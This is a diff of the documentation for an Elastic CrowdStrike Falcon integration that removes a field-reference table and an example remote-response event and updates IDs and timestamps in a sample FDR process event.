-| crowdstrike.event.GrandParentImageFilePath |  | keyword |
-| crowdstrike.event.GrandparentCommandLine | Grandparent process command line arguments. | keyword |
-| crowdstrike.event.GrandparentImageFileName | Path to the grandparent process. | keyword |
-| crowdstrike.event.GrandparentImageFilePath |  | keyword |
-| crowdstrike.event.Highlights | Sections of content that matched the monitoring rule. | text |
-| crowdstrike.event.HostGroups | Array of related Host Group IDs. | keyword |
-| crowdstrike.event.Hostname |  | keyword |
-| crowdstrike.event.ICMPCode | RFC2780 ICMP Code field. | keyword |
-| crowdstrike.event.ICMPType | RFC2780 ICMP Type field. | keyword |
-| crowdstrike.event.IOARuleGroupName |  | keyword |
-| crowdstrike.event.IOARuleInstanceID |  | keyword |
-| crowdstrike.event.IOARuleInstanceVersion | Version number of the InstanceID that triggered. | long |
-| crowdstrike.event.IOARuleName | Name given to the custom IOA rule that triggered. | keyword |
-| crowdstrike.event.IOCType | CrowdStrike type for indicator of compromise. | keyword |
-| crowdstrike.event.IOCValue | CrowdStrike value for indicator of compromise. | keyword |
-| crowdstrike.event.IPv4 |  | ip |
-| crowdstrike.event.IPv6 |  | ip |
-| crowdstrike.event.IdpPolicyRuleAction | Identity Protection policy rule action. | keyword |
-| crowdstrike.event.IdpPolicyRuleName | Identity Protection policy rule name. | keyword |
-| crowdstrike.event.IdpPolicyRuleTrigger | Identity Protection policy rule trigger. | keyword |
-| crowdstrike.event.IncidentType | Incident Type | keyword |
-| crowdstrike.event.Ipv | Protocol for network request. | keyword |
-| crowdstrike.event.IsClipboard |  | boolean |
-| crowdstrike.event.ItemPostedTimestamp | Time the raw intelligence was posted. | date |
-| crowdstrike.event.ItemType | Type of raw intelligence. | keyword |
-| crowdstrike.event.KeyStoreErrors | Describes a KeyStore error. | keyword |
-| crowdstrike.event.LMHostIDs | Array of host IDs seen to have experienced lateral movement because of the incident. | keyword |
-| crowdstrike.event.LateralMovement | Lateral movement field for incident. | long |
-| crowdstrike.event.LdapSearchQueryAttack | Detected LDAP tool attack. | keyword |
-| crowdstrike.event.LoadedObjects | Provides one or more JSON objects describing the loaded objects related to the detection. | nested |
-| crowdstrike.event.LocalIP | IP address of the host associated with the detection. | keyword |
-| crowdstrike.event.LocalIPv6 |  | ip |
-| crowdstrike.event.LogonDomain |  | keyword |
-| crowdstrike.event.MACAddress | MAC address of the host associated with the detection. | keyword |
-| crowdstrike.event.MD5String | MD5 sum of the executable associated with the detection. | keyword |
-| crowdstrike.event.MachineDomain | Domain for the machine associated with the detection. | keyword |
-| crowdstrike.event.MatchCount | Number of firewall rule matches. | long |
-| crowdstrike.event.MatchCountSinceLastReport | Number of firewall rule matches since the last report. | long |
-| crowdstrike.event.MatchedClassification.ID |  | keyword |
-| crowdstrike.event.MatchedClassification.Name |  | keyword |
-| crowdstrike.event.MobileAppsDetails | Provides one or more JSON objects describing the related mobile applications. | nested |
-| crowdstrike.event.MobileAppsDetails.AndroidAppLabel |  | keyword |
-| crowdstrike.event.MobileAppsDetails.AndroidAppVersionName |  | keyword |
-| crowdstrike.event.MobileAppsDetails.AppIdentifier |  | keyword |
-| crowdstrike.event.MobileAppsDetails.AppInstallerInformation |  | keyword |
-| crowdstrike.event.MobileAppsDetails.DexFileHashes |  | keyword |
-| crowdstrike.event.MobileAppsDetails.ImageFileName |  | keyword |
-| crowdstrike.event.MobileAppsDetails.IsBeingDebugged |  | keyword |
-| crowdstrike.event.MobileAppsDetails.IsContainerized |  | keyword |
-| crowdstrike.event.MobileDnsRequests | Provides one or more JSON objects describing the related DNS requests from the mobile device. | nested |
-| crowdstrike.event.MobileNetworkConnections | Provides one or more JSON objects describing the related network connections from the mobile device. | nested |
-| crowdstrike.event.MostRecentActivityTimeStamp | The timestamp of the latest activity performed by the account. | date |
-| crowdstrike.event.MountedVolumes | Provides one or more JSON objects describing mounted volumes on the mobile device. | nested |
-| crowdstrike.event.Name |  | keyword |
-| crowdstrike.event.NetworkAccesses | Detected Network traffic done by a process. | nested |
-| crowdstrike.event.NetworkAccesses.AccessTimestamp |  | keyword |
-| crowdstrike.event.NetworkAccesses.AccessType |  | keyword |
-| crowdstrike.event.NetworkAccesses.ConnectionDirection |  | keyword |
-| crowdstrike.event.NetworkAccesses.IsIPV6 |  | keyword |
-| crowdstrike.event.NetworkAccesses.LocalAddress |  | keyword |
-| crowdstrike.event.NetworkAccesses.LocalPort |  | keyword |
-| crowdstrike.event.NetworkAccesses.Protocol |  | keyword |
-| crowdstrike.event.NetworkAccesses.RemoteAddress |  | keyword |
-| crowdstrike.event.NetworkAccesses.RemotePort |  | keyword |
-| crowdstrike.event.NetworkProfile | CrowdStrike network profile. | keyword |
-| crowdstrike.event.NotificationId | ID of the generated notification. | keyword |
-| crowdstrike.event.NumberOfCompromisedEntities | Number of compromised entities, users and endpoints. | long |
-| crowdstrike.event.NumbersOfAlerts | Number of alerts in the identity-based incident. | long |
-| crowdstrike.event.OARuleInstanceID | Numerical ID of the custom IOA rule under a given CID. | keyword |
-| crowdstrike.event.Objective | Method of detection. | keyword |
-| crowdstrike.event.ObjectiveCRuntimesAltered | Provides one or more JSON objects describing the obj-c methods related to the malware. | nested |
-| crowdstrike.event.OperationName | Event subtype. | keyword |
-| crowdstrike.event.OriginWebLocations |  | flattened |
-| crowdstrike.event.ParentImageFileName | The parent image file name involved. | keyword |
-| crowdstrike.event.ParentImageFilePath |  | keyword |
-| crowdstrike.event.ParentProcessId |  | long |
-| crowdstrike.event.PatternDispositionDescription |  | keyword |
-| crowdstrike.event.PatternDispositionFlags.BlockingUnsupportedOrDisabled |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.BootupSafeguardEnabled |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.ContainmentFileSystem |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.CriticalProcessDisabled |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.Detect |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.FsOperationBlocked |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.HandleOperationDowngraded |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.InddetMask |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.Indicator |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.KillActionFailed |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.KillParent |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.KillProcess |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.KillSubProcess |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.OperationBlocked |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.PolicyDisabled |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.ProcessBlocked |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.QuarantineFile |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.QuarantineMachine |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.RegistryOperationBlocked |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.Rooting |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.SensorOnly |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.SuspendParent |  | boolean |
-| crowdstrike.event.PatternDispositionFlags.SuspendProcess |  | boolean |
-| crowdstrike.event.PatternDispositionValue | Unique ID associated with action taken. | integer |
-| crowdstrike.event.PatternId | The numerical ID of the pattern associated with the action taken on the detection. | keyword |
-| crowdstrike.event.PlatformId |  | keyword |
-| crowdstrike.event.PlatformName |  | keyword |
-| crowdstrike.event.PolicyID | CrowdStrike policy id. | keyword |
-| crowdstrike.event.PolicyId | The ID of the associated Policy. | long |
-| crowdstrike.event.PolicyName | CrowdStrike policy name. | keyword |
-| crowdstrike.event.PrecedingActivityTimeStamp | The timestamp of the activity before the most recent activity was performed. | date |
-| crowdstrike.event.PreviousPrivileges | A list of the source account's privileges before privilege changes were made. | keyword |
-| crowdstrike.event.ProcessId |  | long |
-| crowdstrike.event.Protocol | CrowdStrike provided protocol. | keyword |
-| crowdstrike.event.ProtocolAnomalyClassification | Authentication signature analysis. | keyword |
-| crowdstrike.event.ReferrerUrl |  | keyword |
-| crowdstrike.event.Region |  | keyword |
-| crowdstrike.event.RelatedClassifications.ID |  | keyword |
-| crowdstrike.event.RelatedClassifications.Name |  | keyword |
-| crowdstrike.event.ReportFileReference |  | keyword |
-| crowdstrike.event.ReportID |  | keyword |
-| crowdstrike.event.ReportName |  | keyword |
-| crowdstrike.event.ReportType |  | keyword |
-| crowdstrike.event.ResourceAttributes | A JSON blob with all resource attributes. | flattened |
-| crowdstrike.event.ResourceId | The cloud resource identifier. | keyword |
-| crowdstrike.event.ResourceIdType | The type of the detected resource identifier. | keyword |
-| crowdstrike.event.ResourceName | Resource name if any. | keyword |
-| crowdstrike.event.ResourceUrl | The URL to the cloud resource. | keyword |
-| crowdstrike.event.ResponseAction |  | keyword |
-| crowdstrike.event.RootAccessIndicators | Provides one or more JSON objects which includes logs and stack traces from the suspicious source. | nested |
-| crowdstrike.event.RpcOpClassification | RPC operation type. | keyword |
-| crowdstrike.event.RuleAction | Firewall rule action. | keyword |
-| crowdstrike.event.RuleId |  | keyword |
-| crowdstrike.event.RulePriority | Priority of the monitoring rule that found the match. | keyword |
-| crowdstrike.event.SELinuxEnforcementPolicy | State of SELinux enforcement policy on an Android device. | keyword |
-| crowdstrike.event.SHA1String | SHA1 sum of the executable associated with the detection. | keyword |
-| crowdstrike.event.SHA256String | SHA256 sum of the executable associated with the detection. | keyword |
-| crowdstrike.event.SafetyNetAdvice | Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. | keyword |
-| crowdstrike.event.SafetyNetBasicIntegrity | The result of a more lenient verdict for device integrity. | keyword |
-| crowdstrike.event.SafetyNetCTSProfileMatch | The result of a stricter verdict for device integrity. | keyword |
-| crowdstrike.event.SafetyNetErrorMessage | An encoded error message. | keyword |
-| crowdstrike.event.SafetyNetErrors | Describes a SafetyNet error | keyword |
-| crowdstrike.event.SafetyNetEvaluationType | Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. | keyword |
-| crowdstrike.event.ScanResults | Array of scan results. | nested |
-| crowdstrike.event.ScheduledSearchExecutionId | ID of the specific search execution. | keyword |
-| crowdstrike.event.ScheduledSearchId | Unique identifier of the associated scheduled search. | keyword |
-| crowdstrike.event.ScheduledSearchUserId | User ID of the user that created the the associated scheduled search. | keyword |
-| crowdstrike.event.ScheduledSearchUserUUID | UUID of the user that created the the associated scheduled search. | keyword |
-| crowdstrike.event.SensorId | Unique ID associated with the Falcon sensor. | keyword |
-| crowdstrike.event.ServiceName | Description of which related service was involved in the event. | keyword |
-| crowdstrike.event.SessionId | Session ID of the remote response session. | keyword |
-| crowdstrike.event.Severity | The integer severity level using Crowdstrike scaling. | integer |
-| crowdstrike.event.SeverityName | The severity level of the detection, as a string (High/Medium/Informational). | keyword |
-| crowdstrike.event.SourceAccountUpn | Source user UPN. | keyword |
-| crowdstrike.event.SourceEndpointAccountObjectGuid | Source endpoint object GUID | keyword |
-| crowdstrike.event.SourceEndpointAccountObjectSid | Source endpoint object SID. | keyword |
-| crowdstrike.event.SourceEndpointIpReputation | Source endpoint IP reputation. | keyword |
-| crowdstrike.event.SourceEndpointSensorId | Source endpoint agent ID. | keyword |
-| crowdstrike.event.SourceProducts | Names of the products from which the source data originated. | keyword |
-| crowdstrike.event.SourceVendors | Names of the vendors from which the source data originated. | keyword |
-| crowdstrike.event.SsoApplicationIdentifier | Destination application identifier. | keyword |
-| crowdstrike.event.State | Identity-based detection or incident status. | keyword |
-| crowdstrike.event.Status | CrowdStrike status. | keyword |
-| crowdstrike.event.StatusMessage |  | keyword |
-| crowdstrike.event.Success | Indicator of whether or not this event was successful. | boolean |
-| crowdstrike.event.SuspiciousMachineAccountAlterationType | Machine alteration type. | keyword |
-| crowdstrike.event.SystemProperties | Provides one or more JSON objects which includes related system properties. | nested |
-| crowdstrike.event.Tags | Tags on the cloud resources if any. | nested |
-| crowdstrike.event.TargetAccountDomain | Target user domain. | keyword |
-| crowdstrike.event.TargetAccountName | Target user name. | keyword |
-| crowdstrike.event.TargetAccountObjectSid | Target user object SID. | keyword |
-| crowdstrike.event.TargetAccountUpn | Target user UPN. | keyword |
-| crowdstrike.event.TargetEndpointAccountObjectGuid | Target endpoint object GUID. | keyword |
-| crowdstrike.event.TargetEndpointAccountObjectSid | Target endpoint object SID. | keyword |
-| crowdstrike.event.TargetEndpointHostName | Target endpoint hostname. | keyword |
-| crowdstrike.event.TargetEndpointSensorId | Target endpoint agent ID. | keyword |
-| crowdstrike.event.TargetServiceAccessIdentifier | Target SPN. | keyword |
-| crowdstrike.event.Timestamp | Firewall rule triggered timestamp. | date |
-| crowdstrike.event.Trampolines | Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. | nested |
-| crowdstrike.event.TreeID | CrowdStrike tree id. | keyword |
-| crowdstrike.event.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword |
-| crowdstrike.event.UserDepartment |  | keyword |
-| crowdstrike.event.UserId | Email address or user ID associated with the event. | keyword |
-| crowdstrike.event.UserMapped |  | boolean |
-| crowdstrike.event.UserName |  | keyword |
-| crowdstrike.event.UserNotified |  | boolean |
-| crowdstrike.event.UserTitle |  | keyword |
-| crowdstrike.event.UserUUID |  | keyword |
-| crowdstrike.event.VerifiedBootState | Provides the device’s current boot state. | keyword |
-| crowdstrike.event.XdrType | Type of detection: xdr or xdr-scheduled-search. | keyword |
-| crowdstrike.metadata.customerIDString | Customer identifier | keyword |
-| crowdstrike.metadata.eventType | DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent | keyword |
-| crowdstrike.metadata.offset | Offset number that tracks the location of the event in stream. This is used to identify unique detection events. | integer |
-| crowdstrike.metadata.version | Schema version | keyword |
-| data_stream.dataset | Data stream dataset name. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
-| destination.as.organization.name | Organization name. | keyword |
-| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text |
-| destination.geo.city_name | City name. | keyword |
-| destination.geo.continent_name | Name of the continent. | keyword |
-| destination.geo.country_iso_code | Country ISO code. | keyword |
-| destination.geo.country_name | Country name. | keyword |
-| destination.geo.location | Longitude and latitude. | geo_point |
-| destination.geo.region_iso_code | Region ISO code. | keyword |
-| destination.geo.region_name | Region name. | keyword |
-| destination.ip | IP address of the destination (IPv4 or IPv6). | ip |
-| destination.port | Port of the destination. | long |
-| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword |
-| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | keyword |
-| error.message | Error message. | match_only_text |
-| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword |
-| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword |
-| event.code | Identification code for this event, if one exists. Some event sources use event codes to identify messages unambiguously, regardless of message language or wording adjustments over time. An example of this is the Windows Event ID. | keyword |
-| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date |
-| event.dataset | Event dataset | constant_keyword |
-| event.end | `event.end` contains the date when the event ended or when the activity was last observed. | date |
-| event.ingested | Timestamp when an event arrived in the central data store. This is different from `@timestamp`, which is when the event originally occurred.  It's also different from `event.created`, which is meant to capture the first time an agent saw the event. In normal conditions, assuming no tampering, the timestamps should chronologically look like this: `@timestamp` \< `event.created` \< `event.ingested`. | date |
-| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword |
-| event.module | Event module | constant_keyword |
-| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword |
-| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword |
-| event.severity | The numeric severity of the event according to your event source. What the different severity values mean can be different between sources and use cases. It's up to the implementer to make sure severities are consistent across events from the same source. The Syslog severity belongs in `log.syslog.severity.code`. `event.severity` is meant to represent the severity according to the event source (e.g. firewall, IDS). If the event source does not publish its own severity, you may optionally copy the `log.syslog.severity.code` to `event.severity`. | long |
-| event.start | `event.start` contains the date when the event started or when the activity was first observed. | date |
-| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword |
-| event.url | URL linking to an external system to continue investigation of this event. This URL links to another system where in-depth investigation of the specific occurrence of this event can take place. Alert events, indicated by `event.kind:alert`, are a common use case for this field. | keyword |
-| file.hash.md5 | MD5 hash. | keyword |
-| file.hash.sha1 | SHA1 hash. | keyword |
-| file.hash.sha256 | SHA256 hash. | keyword |
-| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword |
-| file.path.text | Multi-field of `file.path`. | match_only_text |
-| host.containerized | If the host is a container. | boolean |
-| host.os.build | OS build information. | keyword |
-| host.os.codename | OS codename, if any. | keyword |
-| input.type | Type of Filebeat input. | keyword |
-| log.flags | Flags for the log file. | keyword |
-| log.offset | Offset of the entry in the log file. | long |
-| message | For log events the message field contains the log message, optimized for viewing in a log viewer. For structured logs without an original message field, other fields can be concatenated to form a human-readable summary of the event. If multiple messages exist, they can be combined into one message. | match_only_text |
-| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword |
-| network.type | In the OSI Model this would be the Network Layer. ipv4, ipv6, ipsec, pim, etc The field value must be normalized to lowercase for querying. | keyword |
-| observer.product | The product name of the observer. | keyword |
-| observer.vendor | Vendor name of the observer. | keyword |
-| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
-| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
-| process.command_line.text | Multi-field of `process.command_line`. | match_only_text |
-| process.end | The time the process ended. | date |
-| process.executable | Absolute path to the process executable. | keyword |
-| process.executable.text | Multi-field of `process.executable`. | match_only_text |
-| process.name | Process name. Sometimes called program name or similar. | keyword |
-| process.name.text | Multi-field of `process.name`. | match_only_text |
-| process.parent.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
-| process.parent.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
-| process.parent.command_line.text | Multi-field of `process.parent.command_line`. | match_only_text |
-| process.parent.executable | Absolute path to the process executable. | keyword |
-| process.parent.executable.text | Multi-field of `process.parent.executable`. | match_only_text |
-| process.parent.pid | Process id. | long |
-| process.pid | Process id. | long |
-| process.start | The time the process started. | date |
-| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword |
-| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword |
-| related.ip | All of the IPs seen on your event. | ip |
-| related.user | All the user names or other user identifiers seen on the event. | keyword |
-| rule.author | Name, organization, or pseudonym of the author or authors who created the rule used to generate this event. | keyword |
-| rule.category | A categorization value keyword used by the entity using the rule for detection of this event. | keyword |
-| rule.description | The description of the rule generating the event. | keyword |
-| rule.id | A rule ID that is unique within the scope of an agent, observer, or other entity using the rule for detection of this event. | keyword |
-| rule.name | The name of the rule or signature generating the event. | keyword |
-| rule.ruleset | Name of the ruleset, policy, group, or parent category in which the rule used to generate this event is a member. | keyword |
-| rule.uuid | A rule ID that is unique within the scope of a set or group of agents, observers, or other entities using the rule for detection of this event. | keyword |
-| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
-| source.as.organization.name | Organization name. | keyword |
-| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text |
-| source.geo.city_name | City name. | keyword |
-| source.geo.continent_name | Name of the continent. | keyword |
-| source.geo.country_iso_code | Country ISO code. | keyword |
-| source.geo.country_name | Country name. | keyword |
-| source.geo.location | Longitude and latitude. | geo_point |
-| source.geo.region_iso_code | Region ISO code. | keyword |
-| source.geo.region_name | Region name. | keyword |
-| source.ip | IP address of the source (IPv4 or IPv6). | ip |
-| source.port | Port of the source. | long |
-| tags | List of keywords used to tag each event. | keyword |
-| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword |
-| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword |
-| threat.tactic.name | Name of the type of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/) | keyword |
-| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
-| threat.technique.name | The name of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
-| threat.technique.name.text | Multi-field of `threat.technique.name`. | match_only_text |
-| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword |
-| user.email | User email address. | keyword |
-| user.id | Unique identifier of the user. | keyword |
-| user.name | Short name or login of the user. | keyword |
-| user.name.text | Multi-field of `user.name`. | match_only_text |
-
-
-An example event for `falcon` looks as following:
-
-```json
-{
-    "@timestamp": "2023-11-02T13:41:34.000Z",
-    "agent": {
-        "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4",
-        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
-        "name": "elastic-agent-93422",
-        "type": "filebeat",
-        "version": "8.18.1"
-    },
-    "crowdstrike": {
-        "event": {
-            "AgentIdString": "fffffffff33333",
-            "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a"
-        },
-        "metadata": {
-            "customerIDString": "abcabcabc22221",
-            "eventType": "RemoteResponseSessionStartEvent",
-            "offset": 1,
-            "version": "1.0"
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.falcon",
-        "namespace": "99576",
-        "type": "logs"
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
-        "snapshot": false,
-        "version": "8.18.1"
-    },
-    "event": {
-        "action": [
-            "remote_response_session_start_event"
-        ],
-        "agent_id_status": "verified",
-        "category": [
-            "network",
-            "session"
-        ],
-        "created": "2023-11-02T13:41:34.000Z",
-        "dataset": "crowdstrike.falcon",
-        "ingested": "2025-05-30T08:29:21Z",
-        "kind": "event",
-        "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}",
-        "start": "2023-11-02T13:41:34.000Z",
-        "type": [
-            "start"
-        ]
-    },
-    "host": {
-        "name": "UKCHUDL00206"
-    },
-    "input": {
-        "type": "streaming"
-    },
-    "message": "Remote response session started.",
-    "observer": {
-        "product": "Falcon",
-        "vendor": "Crowdstrike"
-    },
-    "related": {
-        "hosts": [
-            "UKCHUDL00206"
-        ],
-        "user": [
-            "admin.rose",
-            "admin.rose@example.com"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "forwarded",
-        "crowdstrike-falcon"
-    ],
-    "user": {
-        "domain": "example.com",
-        "email": "admin.rose@example.com",
-        "name": "admin.rose"
-    }
-}
-```
-
 ### FDR
 
 The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike
@@ -2581,15 +2068,15 @@ An example event for `fdr` looks as following:
 {
     "@timestamp": "2020-10-01T09:58:32.519Z",
     "agent": {
-        "id": "71e71f16-ae08-46e3-a58e-a7d14e974950",
-        "name": "elastic-agent-30302",
+        "id": "eb2db106-5958-49b5-ae25-c286e62857e1",
+        "name": "elastic-agent-67101",
         "type": "filebeat",
         "version": "8.18.0"
     },
     "aws": {
         "s3": {
             "bucket": {
-                "name": "elastic-package-crowdstrike-fdr-30445"
+                "name": "elastic-package-crowdstrike-fdr-19614"
             },
             "object": {
                 "key": "data"
@@ -2674,14 +2161,14 @@ An example event for `fdr` looks as following:
     },
     "data_stream": {
         "dataset": "crowdstrike.fdr",
-        "namespace": "77613",
+        "namespace": "27890",
         "type": "logs"
     },
     "device": {
         "id": "ffffffff655344736aca58d17fb570f0"
     },
     "elastic_agent": {
-        "id": "71e71f16-ae08-46e3-a58e-a7d14e974950",
+        "id": "eb2db106-5958-49b5-ae25-c286e62857e1",
         "snapshot": false,
         "version": "8.18.0"
     },
@@ -2692,9 +2179,8 @@ An example event for `fdr` looks as following:
             "process"
         ],
         "created": "2020-10-01T09:58:32.519Z",
-        "dataset": "crowdstrike.fdr",
         "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
-        "ingested": "2025-08-27T05:55:29Z",
+        "ingested": "2026-02-24T11:51:06Z",
         "kind": "event",
         "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}",
         "outcome": "success",
